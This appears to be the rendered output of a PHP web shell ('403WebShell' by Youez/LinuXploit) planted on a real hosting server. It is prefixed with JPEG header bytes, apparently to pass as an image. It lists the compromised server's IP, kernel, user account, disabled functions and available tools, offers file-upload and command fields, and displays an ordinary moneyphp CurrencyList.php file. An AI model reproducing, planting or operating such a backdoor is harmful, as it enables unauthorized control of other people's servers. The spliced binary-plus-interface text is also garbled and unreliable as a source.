����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.145.179.147
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/moneyphp/money/src/Currencies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/moneyphp/money/src/Currencies/CurrencyList.php
<?php

namespace Money\Currencies;

use Money\Currencies;
use Money\Currency;
use Money\Exception\UnknownCurrencyException;

/**
 * A list of custom currencies.
 *
 * @author George Mponos <gmponos@gmail.com>
 */
final class CurrencyList implements Currencies
{
    /**
     * Map of currencies indexed by code.
     *
     * @var array
     */
    private $currencies;

    public function __construct(array $currencies)
    {
        foreach ($currencies as $currencyCode => $subunit) {
            if (empty($currencyCode) || !is_string($currencyCode)) {
                throw new \InvalidArgumentException(
                    sprintf('Currency code must be a string and not empty. "%s" given', $currencyCode)
                );
            }

            if (!is_int($subunit) || $subunit < 0) {
                throw new \InvalidArgumentException(
                    sprintf('Currency %s does not have a valid minor unit. Must be a positive integer.', $currencyCode)
                );
            }
        }

        $this->currencies = $currencies;
    }

    /**
     * {@inheritdoc}
     */
    public function contains(Currency $currency)
    {
        return isset($this->currencies[$currency->getCode()]);
    }

    /**
     * {@inheritdoc}
     */
    public function subunitFor(Currency $currency)
    {
        if (!$this->contains($currency)) {
            throw new UnknownCurrencyException('Cannot find currency '.$currency->getCode());
        }

        return $this->currencies[$currency->getCode()];
    }

    /**
     * {@inheritdoc}
     */
    public function getIterator()
    {
        return new \ArrayIterator(
            array_map(
                function ($code) {
                    return new Currency($code);
                },
                array_keys($this->currencies)
            )
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit